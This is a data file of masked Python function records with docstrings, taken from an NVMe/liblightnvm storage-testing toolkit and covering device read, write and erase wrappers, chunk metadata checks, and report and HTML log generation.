{"signature": "def vector_write(self, address_list, file_name):", "body": "address = [\"<STR_LIT>\".format(i) for i in address_list]<EOL>cmd = [\"<STR_LIT>\", self.envs, \"<STR_LIT:U+0020>\".join(address), \"<STR_LIT>\".format(file_name)]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_cmd write", "id": "f13332:c0:m15"}
{"signature": "def vector_read(self, address_list, file_name):", "body": "address = [\"<STR_LIT>\".format(i) for i in address_list]<EOL>cmd = [\"<STR_LIT>\", self.envs, \"<STR_LIT:U+0020>\".join(address),<EOL>\"<STR_LIT>\".format(file_name)]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_cmd read", "id": "f13332:c0:m16"}
{"signature": "def scalar_write(self, address, block_count, data_file, meta_file):", "body": "cmd = [\"<STR_LIT>\", \"<STR_LIT>\", self.envs, \"<STR_LIT>\".format(address),<EOL>\"<STR_LIT>\".format(block_count-<NUM_LIT:1>), \"<STR_LIT>\".format(data_file), \"<STR_LIT>\".format(meta_file),<EOL>\"<STR_LIT>\".format(block_count * self.get_env(\"<STR_LIT>\", \"<STR_LIT>\")),<EOL>\"<STR_LIT>\".format(block_count * self.get_env(\"<STR_LIT>\", \"<STR_LIT>\"))]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvme write", "id": "f13332:c0:m17"}
{"signature": "def scalar_read(self, address, block_count, data_file, meta_file):", "body": "cmd = [\"<STR_LIT>\", \"<STR_LIT>\", self.envs, \"<STR_LIT>\".format(address),<EOL>\"<STR_LIT>\".format(block_count - <NUM_LIT:1>), \"<STR_LIT>\".format(data_file),<EOL>\"<STR_LIT>\".format(meta_file),<EOL>\"<STR_LIT>\".format(block_count * self.get_env(\"<STR_LIT>\", \"<STR_LIT>\")),<EOL>\"<STR_LIT>\".format(block_count * self.get_env(\"<STR_LIT>\", \"<STR_LIT>\"))]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvme read", "id": "f13332:c0:m18"}
{"signature": "def slc_erase(self, address, BE_ID=<NUM_LIT>, PMODE=<NUM_LIT>):", "body": "cmd = [\"<STR_LIT>\" % BE_ID, \"<STR_LIT>\" % PMODE, \"<STR_LIT>\", self.envs, \"<STR_LIT>\" % address]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "slc erase", "id": "f13332:c0:m23"}
{"signature": "def get_envs(self, key):", "body": "return self.envs[key]<EOL>", "docstring": "Get environment of liblightnvm", "id": "f13334:c0:m1"}
{"signature": "def get_chunk_meta(self, meta_file):", "body": "chunks = self.envs[\"<STR_LIT>\"]<EOL>if cij.nvme.get_meta(<NUM_LIT:0>, chunks * self.envs[\"<STR_LIT>\"], meta_file):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>chunk_meta = cij.bin.Buffer(types=self.envs[\"<STR_LIT>\"], length=chunks)<EOL>chunk_meta.read(meta_file)<EOL>return chunk_meta<EOL>", "docstring": "Get chunk meta table", "id": "f13334:c0:m2"}
{"signature": "def get_chunk_meta_item(self, chunk_meta, grp, pug, chk):", "body": "num_chk = self.envs[\"<STR_LIT>\"]<EOL>num_pu = self.envs[\"<STR_LIT>\"]<EOL>index = grp * num_pu * num_chk + pug * num_chk + chk<EOL>return chunk_meta[index]<EOL>", "docstring": "Get item of chunk meta table", "id": "f13334:c0:m3"}
{"signature": "def is_free_chunk(self, chunk_meta, grp, pug, chk):", "body": "meta = self.get_chunk_meta_item(chunk_meta, grp, pug, chk)<EOL>if meta.CS & <NUM_LIT> != <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check the chunk is free or not", "id": "f13334:c0:m4"}
{"signature": "def is_closed_chunk(self, chunk_meta, grp, pug, chk):", "body": "meta = self.get_chunk_meta_item(chunk_meta, grp, pug, chk)<EOL>if meta.CS & <NUM_LIT> != <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check the chunk is free or not", "id": "f13334:c0:m5"}
{"signature": "def is_open_chunk(self, chunk_meta, grp, pug, chk):", "body": "meta = self.get_chunk_meta_item(chunk_meta, grp, pug, chk)<EOL>if meta.CS & <NUM_LIT> != <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check the chunk is free or not", "id": "f13334:c0:m6"}
{"signature": "def is_bad_chunk(self, chunk_meta, grp, pug, chk):", "body": "meta = self.get_chunk_meta_item(chunk_meta, grp, pug, chk)<EOL>if meta.CS & <NUM_LIT> != <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check the chunk is offline or not", "id": "f13334:c0:m7"}
{"signature": "def s20_to_gen(self, pugrp, punit, chunk, sectr):", "body": "cmd = [\"<STR_LIT>\", self.envs[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\" % (pugrp, punit, chunk, sectr)]<EOL>status, stdout, _ = cij.ssh.command(cmd, shell=True)<EOL>if status:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return int(re.findall(r\"<STR_LIT>\", stdout)[<NUM_LIT:0>], <NUM_LIT:16>)<EOL>", "docstring": "S20 unit to generic address", "id": "f13334:c0:m8"}
{"signature": "def gen_to_dev(self, address):", "body": "cmd = [\"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT>\".format(address)]<EOL>status, stdout, _ = cij.ssh.command(cmd, shell=True)<EOL>if status:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return int(re.findall(r\"<STR_LIT>\", stdout)[<NUM_LIT:0>], <NUM_LIT:16>)<EOL>", "docstring": "Generic address to device address", "id": "f13334:c0:m9"}
{"signature": "def vblk_erase(self, address):", "body": "cmd = [\"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT>\" % address]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_vblk erase", "id": "f13334:c0:m10"}
{"signature": "def vblk_write(self, address, meta=False):", "body": "cmd = list()<EOL>if meta:<EOL><INDENT>cmd.append(\"<STR_LIT>\")<EOL><DEDENT>cmd += [\"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT>\" % address]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_vblk write", "id": "f13334:c0:m11"}
{"signature": "def vblk_read(self, address, meta=False):", "body": "cmd = list()<EOL>if meta:<EOL><INDENT>cmd.append(\"<STR_LIT>\")<EOL><DEDENT>cmd += [\"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT>\" % address]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_vblk read", "id": "f13334:c0:m12"}
{"signature": "def vector_erase(self, address):", "body": "cmd = [\"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT>\".format(address)]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_cmd erase", "id": "f13334:c0:m13"}
{"signature": "def vector_write(self, address_list, file_name=None):", "body": "address = [\"<STR_LIT>\".format(i) for i in address_list]<EOL>cmd = [\"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT:U+0020>\".join(address)]<EOL>if file_name:<EOL><INDENT>cmd += [\"<STR_LIT>\".format(file_name)]<EOL><DEDENT>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_cmd write", "id": "f13334:c0:m14"}
{"signature": "def vector_read(self, address_list, file_name=None):", "body": "address = [\"<STR_LIT>\".format(i) for i in address_list]<EOL>cmd = [\"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT:U+0020>\".join(address)]<EOL>if file_name:<EOL><INDENT>cmd += [\"<STR_LIT>\".format(file_name)]<EOL><DEDENT>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvm_cmd read", "id": "f13334:c0:m15"}
{"signature": "def scalar_write(self, address, block_count, data_file, meta_file):", "body": "cmd = [\"<STR_LIT>\", \"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT>\".format(address),<EOL>\"<STR_LIT>\".format(block_count-<NUM_LIT:1>), \"<STR_LIT>\".format(data_file), \"<STR_LIT>\".format(meta_file),<EOL>\"<STR_LIT>\".format(block_count * self.envs[\"<STR_LIT>\"]),<EOL>\"<STR_LIT>\".format(block_count * self.envs[\"<STR_LIT>\"])]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvme write", "id": "f13334:c0:m16"}
{"signature": "def scalar_read(self, address, block_count, data_file, meta_file):", "body": "cmd = [\"<STR_LIT>\", \"<STR_LIT>\", self.envs[\"<STR_LIT>\"], \"<STR_LIT>\".format(address),<EOL>\"<STR_LIT>\".format(block_count - <NUM_LIT:1>), \"<STR_LIT>\".format(data_file),<EOL>\"<STR_LIT>\".format(meta_file),<EOL>\"<STR_LIT>\".format(block_count * self.envs[\"<STR_LIT>\"]),<EOL>\"<STR_LIT>\".format(block_count * self.envs[\"<STR_LIT>\"])]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True)<EOL>return status<EOL>", "docstring": "nvme read", "id": "f13334:c0:m17"}
{"signature": "def read(*parts):", "body": "here = os.path.abspath(os.path.dirname(__file__))<EOL>with codecs.open(os.path.join(here, *parts), '<STR_LIT:r>') as pfp:<EOL><INDENT>return pfp.read()<EOL><DEDENT>", "docstring": "Read parts to use a e.g. long_description", "id": "f13335:m0"}
{"signature": "def expand_path(path):", "body": "return os.path.abspath(os.path.expanduser(os.path.expandvars(path)))<EOL>", "docstring": "Expands variables from the given path and turns it into absolute path", "id": "f13336:m0"}
{"signature": "def regex_find(pattern, content):", "body": "find = re.findall(pattern, content)<EOL>if not find:<EOL><INDENT>cij.err(\"<STR_LIT>\" % pattern)<EOL>cij.err(\"<STR_LIT>\" % content)<EOL>return '<STR_LIT>'<EOL><DEDENT>if len(find) >= <NUM_LIT:2>:<EOL><INDENT>cij.err(\"<STR_LIT>\" % pattern)<EOL>cij.err(\"<STR_LIT>\" % content)<EOL>return '<STR_LIT>'<EOL><DEDENT>return find[<NUM_LIT:0>]<EOL>", "docstring": "Find the given 'pattern' in 'content", "id": "f13336:m1"}
{"signature": "def execute(cmd=None, shell=True, echo=True):", "body": "if echo:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % (shell, cmd))<EOL><DEDENT>rcode = <NUM_LIT:1><EOL>stdout, stderr = (\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if cmd:<EOL><INDENT>if shell:<EOL><INDENT>cmd = \"<STR_LIT:U+0020>\".join(cmd)<EOL><DEDENT>proc = Popen(cmd, stdout=PIPE, stderr=PIPE, shell=shell, close_fds=True)<EOL>stdout, stderr = proc.communicate()<EOL>rcode = proc.returncode<EOL><DEDENT>if rcode and echo:<EOL><INDENT>cij.warn(\"<STR_LIT>\" % stdout)<EOL>cij.err(\"<STR_LIT>\" % stderr)<EOL>cij.err(\"<STR_LIT>\" % rcode)<EOL><DEDENT>return rcode, stdout, stderr<EOL>", "docstring": "Execute the given 'cmd'\n\n@returns (rcode, stdout, stderr)", "id": "f13336:m2"}
{"signature": "def env():", "body": "if cij.ssh.env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>board = cij.env_to_dict(PREFIX, REQUIRED)   <EOL>if board is None:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>board[\"<STR_LIT>\"] = \"<STR_LIT:_>\".join([board[r] for r in REQUIRED[:-<NUM_LIT:1>]])<EOL>board[\"<STR_LIT>\"] = \"<STR_LIT:->\".join([board[\"<STR_LIT>\"], board[\"<STR_LIT>\"]])<EOL>cij.env_export(PREFIX, EXPORTED, board)     <EOL>return <NUM_LIT:0><EOL>", "docstring": "Verify BOARD variables and construct exported variables", "id": "f13337:m0"}
{"signature": "def generate_rt_pic(process_data, para_meter, scale):", "body": "pic_path = para_meter['<STR_LIT:filename>'] + '<STR_LIT>'<EOL>plt.figure(figsize=(<NUM_LIT> * scale, <NUM_LIT> * scale))<EOL>for key in process_data.keys():<EOL><INDENT>plt.plot(process_data[key][:, <NUM_LIT:0>], process_data[key][:, <NUM_LIT:1>], label=str(key))<EOL><DEDENT>plt.title(para_meter['<STR_LIT:title>'])<EOL>plt.xlabel(para_meter['<STR_LIT>'])<EOL>plt.ylabel(para_meter['<STR_LIT>'])<EOL>plt.legend(loc='<STR_LIT>')<EOL>plt.savefig(pic_path)<EOL>return pic_path<EOL>", "docstring": "generate rater pic", "id": "f13338:m0"}
{"signature": "def generate_steady_rt_pic(process_data, para_meter, scale, steady_time):", "body": "pic_path_steady = para_meter['<STR_LIT:filename>'] + '<STR_LIT>'<EOL>plt.figure(figsize=(<NUM_LIT:4> * scale, <NUM_LIT> * scale))<EOL>for key in process_data.keys():<EOL><INDENT>if len(process_data[key]) < steady_time:<EOL><INDENT>steady_time = len(process_data[key])<EOL><DEDENT>plt.scatter(process_data[key][-<NUM_LIT:1> * steady_time:, <NUM_LIT:0>],<EOL>process_data[key][-<NUM_LIT:1> * steady_time:, <NUM_LIT:1>], label=str(key), s=<NUM_LIT:10>)<EOL>steady_value = np.mean(process_data[key][-<NUM_LIT:1> * steady_time:, <NUM_LIT:1>])<EOL>steady_value_5 = steady_value * (<NUM_LIT:1> + <NUM_LIT>)<EOL>steady_value_10 = steady_value * (<NUM_LIT:1> + <NUM_LIT:0.1>)<EOL>steady_value_ng_5 = steady_value * (<NUM_LIT:1> - <NUM_LIT>)<EOL>steady_value_ng_10 = steady_value * (<NUM_LIT:1> - <NUM_LIT:0.1>)<EOL>plt.plot(process_data[key][-<NUM_LIT:1> * steady_time:, <NUM_LIT:0>], [steady_value] * steady_time, '<STR_LIT:b>')<EOL>plt.plot(process_data[key][-<NUM_LIT:1> * steady_time:, <NUM_LIT:0>], [steady_value_5] * steady_time, '<STR_LIT:g>')<EOL>plt.plot(process_data[key][-<NUM_LIT:1> * steady_time:, <NUM_LIT:0>],<EOL>[steady_value_ng_5] * steady_time, '<STR_LIT:g>')<EOL>plt.plot(process_data[key][-<NUM_LIT:1> * steady_time:, <NUM_LIT:0>], [steady_value_10] * steady_time, '<STR_LIT:r>')<EOL>plt.plot(process_data[key][-<NUM_LIT:1> * steady_time:, <NUM_LIT:0>],<EOL>[steady_value_ng_10] * steady_time, '<STR_LIT:r>')<EOL><DEDENT>plt.title(para_meter['<STR_LIT:title>'] + '<STR_LIT>')<EOL>plt.xlabel(para_meter['<STR_LIT>'] + '<STR_LIT>')<EOL>plt.ylabel(para_meter['<STR_LIT>'] + '<STR_LIT>')<EOL>plt.legend(loc='<STR_LIT>')<EOL>plt.savefig(pic_path_steady)<EOL>return pic_path_steady<EOL>", "docstring": "generate rate steady", "id": "f13338:m1"}
{"signature": "def process_rt_data(source_data, is_bw=False):", "body": "print(\"<STR_LIT>\", len(source_data))<EOL>filter_data = {}<EOL>for index in range(<NUM_LIT:2>):<EOL><INDENT>filter_mask = source_data[:, <NUM_LIT:2>] == index<EOL>if np.any(filter_mask):<EOL><INDENT>filter_data[index] = sum_data(round_data(source_data[filter_mask]), is_bw)<EOL><DEDENT><DEDENT>return filter_data<EOL>", "docstring": "process data", "id": "f13338:m2"}
{"signature": "def sum_data(filter_data, is_bw):", "body": "for index in range(len(filter_data) - <NUM_LIT:1>):<EOL><INDENT>if filter_data[index][<NUM_LIT:0>] > filter_data[index + <NUM_LIT:1>][<NUM_LIT:0>]:<EOL><INDENT>max_index = index + <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>max_index = len(filter_data)<EOL><DEDENT>print(\"<STR_LIT>\", max_index + <NUM_LIT:1>)<EOL>num_jobs = int(round(len(filter_data) * <NUM_LIT:1.0> / max_index))<EOL>print(\"<STR_LIT>\", num_jobs)<EOL>dict_time = Counter(filter_data[:, <NUM_LIT:0>])<EOL>list_sum = []<EOL>for time_index in range(<NUM_LIT:1>, max_index + <NUM_LIT:1>):<EOL><INDENT>if dict_time.get(time_index * <NUM_LIT:1000>, <NUM_LIT:0>) != num_jobs:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>time_index * <NUM_LIT:1000>, dict_time.get(time_index * <NUM_LIT:1000>, <NUM_LIT:0>), num_jobs<EOL>))<EOL>continue<EOL><DEDENT>filter_mask = (filter_data[:, <NUM_LIT:0>] == time_index * <NUM_LIT:1000>)<EOL>sum_rst = np.sum(filter_data[filter_mask][:, <NUM_LIT:1>])<EOL>if is_bw:<EOL><INDENT>sum_rst = sum_rst / <NUM_LIT><EOL><DEDENT>list_sum.append([time_index, sum_rst])<EOL><DEDENT>return np.array(list_sum)<EOL>", "docstring": "caculate sum", "id": "f13338:m3"}
{"signature": "def round_data(filter_data):", "body": "for index, _ in enumerate(filter_data):<EOL><INDENT>filter_data[index][<NUM_LIT:0>] = round(filter_data[index][<NUM_LIT:0>] / <NUM_LIT>) * <NUM_LIT><EOL><DEDENT>return filter_data<EOL>", "docstring": "round the data", "id": "f13338:m4"}
{"signature": "def import_source(self, sheet, source, delimiter=\"<STR_LIT:U+002C>\"):", "body": "<EOL>if '<STR_LIT:U+0020>' in sheet:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % sheet)<EOL><DEDENT>if not source.endswith(\"<STR_LIT>\") and not source.endswith(\"<STR_LIT>\"):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % source)<EOL><DEDENT>self.source_sheet = sheet<EOL>source_data = np.loadtxt(source, dtype=str, delimiter=delimiter)<EOL>self.source_data = {\"<STR_LIT:title>\": source_data[<NUM_LIT:0>].tolist(),<EOL>\"<STR_LIT:data>\": source_data[<NUM_LIT:1>:]}<EOL>cell_format_title = self.workbook.add_format({'<STR_LIT>': True,<EOL>'<STR_LIT>': u'<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT>})<EOL>cell_format = self.workbook.add_format({'<STR_LIT>': False,<EOL>'<STR_LIT>': u'<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:0>})<EOL>worksheet = self.workbook.add_worksheet(sheet)<EOL>worksheet.write_row('<STR_LIT>', self.source_data['<STR_LIT:title>'], cell_format_title)<EOL>_, col_num = self.source_data['<STR_LIT:data>'].shape<EOL>for i in range(col_num):<EOL><INDENT>try:<EOL><INDENT>data_array = self.source_data['<STR_LIT:data>'][:, i].astype(float)<EOL><DEDENT>except ValueError:<EOL><INDENT>data_array = self.source_data['<STR_LIT:data>'][:, i]<EOL><DEDENT>worksheet.write_column(<NUM_LIT:1>, i, data_array.tolist(), cell_format)<EOL><DEDENT>", "docstring": "Function:\n    Save original data into specific sheet, and try to translate data to float type\nInput:\n    sheet: Must be a non exists sheet\n    source: File path of source", "id": "f13338:c0:m1"}
{"signature": "def generate_chart(self, properties):", "body": "<EOL>if not {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}.issubset(set(properties.keys())):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % properties.keys())<EOL><DEDENT>mask = self.__filter_data(properties['<STR_LIT>'])<EOL>chart = self.__generate_chart(mask, properties)<EOL>sheet = properties['<STR_LIT>']<EOL>if sheet in self.sheet_dict.keys():<EOL><INDENT>self.sheet_dict[sheet] += <NUM_LIT:1><EOL>worksheet = self.workbook.get_worksheet_by_name(sheet)<EOL><DEDENT>else:<EOL><INDENT>self.sheet_dict[sheet] = <NUM_LIT:1><EOL>worksheet = self.workbook.add_worksheet(sheet)<EOL><DEDENT>worksheet.insert_chart('<STR_LIT>' % (<NUM_LIT:5> + (self.sheet_dict[sheet] - <NUM_LIT:1>) * <NUM_LIT>), chart)<EOL>", "docstring": "Function:\n    Generate and save chart to specific sheet.\nInput:\n    sheet: If already exists, new chart will be added below.\n           Otherwise, it would create a new sheet;\n    x_axis: Specify x axis;\n    y_axis: Specify y axis;\n    series: Specify series;\n    filters: dict type, use to filter useful data from original data;\n    title: if None, the chart will create without title;\n    x_axis_name: if None, use x_axis instead;\n    y_axis_name: if None, use y_axis instead;", "id": "f13338:c0:m2"}
{"signature": "def close(self):", "body": "self.workbook.close()<EOL>", "docstring": "Close work book", "id": "f13338:c0:m6"}
{"signature": "def gen_config_sheet(self, sheetname, plist):", "body": "worksheet_cfg = self.workbook.add_worksheet(sheetname)<EOL>cell_format = self.workbook.add_format({'<STR_LIT>': False, '<STR_LIT>': u'<STR_LIT>'})<EOL>cell_format_title = self.workbook.add_format({'<STR_LIT>': <NUM_LIT:0>, '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': <NUM_LIT:12>,<EOL>'<STR_LIT>': u'<STR_LIT>', '<STR_LIT>': False})<EOL>worksheet_cfg.set_column('<STR_LIT>', <NUM_LIT>, cell_format)<EOL>worksheet_cfg.write_row('<STR_LIT>', plist[<NUM_LIT:0>], cell_format_title)<EOL>for i in range(<NUM_LIT:1>, len(plist)):<EOL><INDENT>worksheet_cfg.write_row('<STR_LIT>' % (i+<NUM_LIT:1>), plist[i], cell_format)<EOL><DEDENT>", "docstring": "generate configuration", "id": "f13338:c1:m1"}
{"signature": "def gen_data_sheet(self, datafile, para_meter, scale=<NUM_LIT>, steady_time=<NUM_LIT>):", "body": "filename = os.path.splitext(os.path.split(datafile)[<NUM_LIT:1>])[<NUM_LIT:0>][:-<NUM_LIT:5>]<EOL>para_meter['<STR_LIT:filename>'] = filename<EOL>source_data = np.loadtxt(datafile, dtype=int, delimiter='<STR_LIT:U+002C>')[:, :<NUM_LIT:3>]<EOL>is_bw = '<STR_LIT>'in para_meter['<STR_LIT:title>'].lower()<EOL>file_data = process_rt_data(source_data, is_bw)<EOL>pic_path = generate_rt_pic(file_data, para_meter, scale)<EOL>pic_path_steady = generate_steady_rt_pic(file_data, para_meter, scale, steady_time)<EOL>if para_meter['<STR_LIT>'] in self.sheetname_dict.keys():<EOL><INDENT>self.sheetname_dict[para_meter['<STR_LIT>']] =self.sheetname_dict[para_meter['<STR_LIT>']] + <NUM_LIT:1><EOL>chart_sheet = self.workbook.get_worksheet_by_name(para_meter['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>self.sheetname_dict[para_meter['<STR_LIT>']] = <NUM_LIT:1><EOL>chart_sheet = self.workbook.add_worksheet(para_meter['<STR_LIT>'])<EOL><DEDENT>chart_sheet.insert_image('<STR_LIT>' %<EOL>(<NUM_LIT:5> + (self.sheetname_dict[para_meter['<STR_LIT>']] - <NUM_LIT:1>) * <NUM_LIT:30>),<EOL>pic_path)<EOL>chart_sheet.insert_image('<STR_LIT>' %<EOL>(<NUM_LIT:5> + (self.sheetname_dict[para_meter['<STR_LIT>']] - <NUM_LIT:1>) * <NUM_LIT:30>),<EOL>pic_path_steady)<EOL>self.__insert_value(chart_sheet, file_data,<EOL><NUM_LIT:5> + (self.sheetname_dict[para_meter['<STR_LIT>']] - <NUM_LIT:1>) * <NUM_LIT:30>,<EOL>steady_time)<EOL>self.pic_list.append(pic_path)<EOL>self.pic_list.append(pic_path_steady)<EOL>", "docstring": "datafile, sheetname, x_axis_name, y_axis_name, title,\nFunction:\n    Turn realtime bw data into picture, and save into specific sheet\nInput:\n    sheetname: If already exists, new chart will be added continuely.\n               Otherwise, it would create new sheet;\n    x_axis_name: x_axis name;\n    y_axis_name: y_axis name;\n    title: picure name;\n    scale\uff1b size of picture.", "id": "f13338:c1:m2"}
{"signature": "def closexls(self):", "body": "self.workbook.close()<EOL>", "docstring": "close the xlsx", "id": "f13338:c1:m4"}
{"signature": "def extract_hook_names(ent):", "body": "hnames = []<EOL>for hook in ent[\"<STR_LIT>\"][\"<STR_LIT>\"] + ent[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>hname = os.path.basename(hook[\"<STR_LIT>\"])<EOL>hname = os.path.splitext(hname)[<NUM_LIT:0>]<EOL>hname = hname.strip()<EOL>hname = hname.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>hname = hname.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if hname in hnames:<EOL><INDENT>continue<EOL><DEDENT>hnames.append(hname)<EOL><DEDENT>hnames.sort()<EOL>return hnames<EOL>", "docstring": "Extract hook names from the given entity", "id": "f13339:m0"}
{"signature": "def tcase_comment(tcase):", "body": "src = open(tcase[\"<STR_LIT>\"]).read()<EOL>if len(src) < <NUM_LIT:3>:<EOL><INDENT>cij.err(\"<STR_LIT>\" % tcase[\"<STR_LIT:name>\"])<EOL>return None<EOL><DEDENT>ext = os.path.splitext(tcase[\"<STR_LIT>\"])[-<NUM_LIT:1>]<EOL>if ext not in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>cij.err(\"<STR_LIT>\" % (<EOL>ext, tcase[\"<STR_LIT:name>\"]<EOL>))<EOL>return None<EOL><DEDENT>comment = []<EOL>for line in src.splitlines()[<NUM_LIT:2>:]:<EOL><INDENT>if ext == \"<STR_LIT>\" and not line.startswith(\"<STR_LIT:#>\"):<EOL><INDENT>break<EOL><DEDENT>elif ext == \"<STR_LIT>\" and not '<STR_LIT>' in line:<EOL><INDENT>break<EOL><DEDENT>comment.append(line)<EOL><DEDENT>return comment<EOL>", "docstring": "Extract testcase comment section / testcase description\n\n@returns the testcase-comment from the tcase[\"fpath\"] as a list of strings", "id": "f13339:m1"}
{"signature": "def tcase_parse_descr(tcase):", "body": "descr_short = \"<STR_LIT>\"<EOL>descr_long = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>comment = tcase_comment(tcase)<EOL><DEDENT>except (IOError, OSError, ValueError) as exc:<EOL><INDENT>comment = []<EOL>cij.err(\"<STR_LIT>\" % (exc, tcase))<EOL><DEDENT>comment = [l for l in comment if l.strip()]     <EOL>for line_number, line in enumerate(comment):<EOL><INDENT>if line.startswith(\"<STR_LIT:#>\"):<EOL><INDENT>comment[line_number] = line[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>if comment:<EOL><INDENT>descr_short = comment[<NUM_LIT:0>]<EOL><DEDENT>if len(comment) > <NUM_LIT:1>:<EOL><INDENT>descr_long = \"<STR_LIT:\\n>\".join(comment[<NUM_LIT:1>:])<EOL><DEDENT>return descr_short, descr_long<EOL>", "docstring": "Parse descriptions from the the given tcase", "id": "f13339:m2"}
{"signature": "def runlogs_to_html(run_root):", "body": "if not os.path.isdir(run_root):<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>hook_enter = []<EOL>hook_exit = []<EOL>tcase = []<EOL>for fpath in glob.glob(os.sep.join([run_root, \"<STR_LIT>\"])):<EOL><INDENT>if \"<STR_LIT>\" in fpath:<EOL><INDENT>hook_exit.append(fpath)<EOL>continue<EOL><DEDENT>if \"<STR_LIT>\" in fpath:<EOL><INDENT>hook_enter.append(fpath)<EOL>continue<EOL><DEDENT>tcase.append(fpath)<EOL><DEDENT>content = \"<STR_LIT>\"<EOL>for fpath in hook_enter + tcase + hook_exit:<EOL><INDENT>content += \"<STR_LIT>\" % fpath<EOL>content += open(fpath, \"<STR_LIT:r>\").read()<EOL>content += \"<STR_LIT>\" % fpath<EOL><DEDENT>return content<EOL>", "docstring": "Returns content of the given 'fpath' with HTML annotations, currently simply\na conversion of ANSI color codes to HTML elements", "id": "f13339:m3"}
{"signature": "def src_to_html(fpath):", "body": "if not os.path.exists(fpath):<EOL><INDENT>return \"<STR_LIT>\" % fpath<EOL><DEDENT>return open(fpath, \"<STR_LIT:r>\").read()<EOL>", "docstring": "Returns content of the given 'fpath' with HTML annotations for syntax\nhighlighting", "id": "f13339:m4"}
{"signature": "def aux_listing(aux_root):", "body": "listing = []<EOL>for root, _, fnames in os.walk(aux_root):<EOL><INDENT>count = len(aux_root.split(os.sep))<EOL>prefix = root.split(os.sep)[count:]<EOL>for fname in fnames:<EOL><INDENT>listing.append(os.sep.join(prefix + [fname]))<EOL><DEDENT><DEDENT>return listing<EOL>", "docstring": "Listing", "id": "f13339:m5"}
{"signature": "def process_tsuite(tsuite):", "body": "<EOL>tsuite[\"<STR_LIT>\"] = runlogs_to_html(tsuite[\"<STR_LIT>\"])<EOL>tsuite[\"<STR_LIT>\"] = aux_listing(tsuite[\"<STR_LIT>\"])<EOL>tsuite[\"<STR_LIT>\"] = extract_hook_names(tsuite)<EOL>return True<EOL>", "docstring": "Goes through the tsuite and processes \"*.log", "id": "f13339:m6"}
{"signature": "def process_tcase(tcase):", "body": "tcase[\"<STR_LIT>\"] = src_to_html(tcase[\"<STR_LIT>\"])<EOL>tcase[\"<STR_LIT>\"] = runlogs_to_html(tcase[\"<STR_LIT>\"])<EOL>tcase[\"<STR_LIT>\"] = aux_listing(tcase[\"<STR_LIT>\"])<EOL>tcase[\"<STR_LIT>\"], tcase[\"<STR_LIT>\"] = tcase_parse_descr(tcase)<EOL>tcase[\"<STR_LIT>\"] = extract_hook_names(tcase)<EOL>return True<EOL>", "docstring": "Goes through the trun and processes \"run.log", "id": "f13339:m7"}
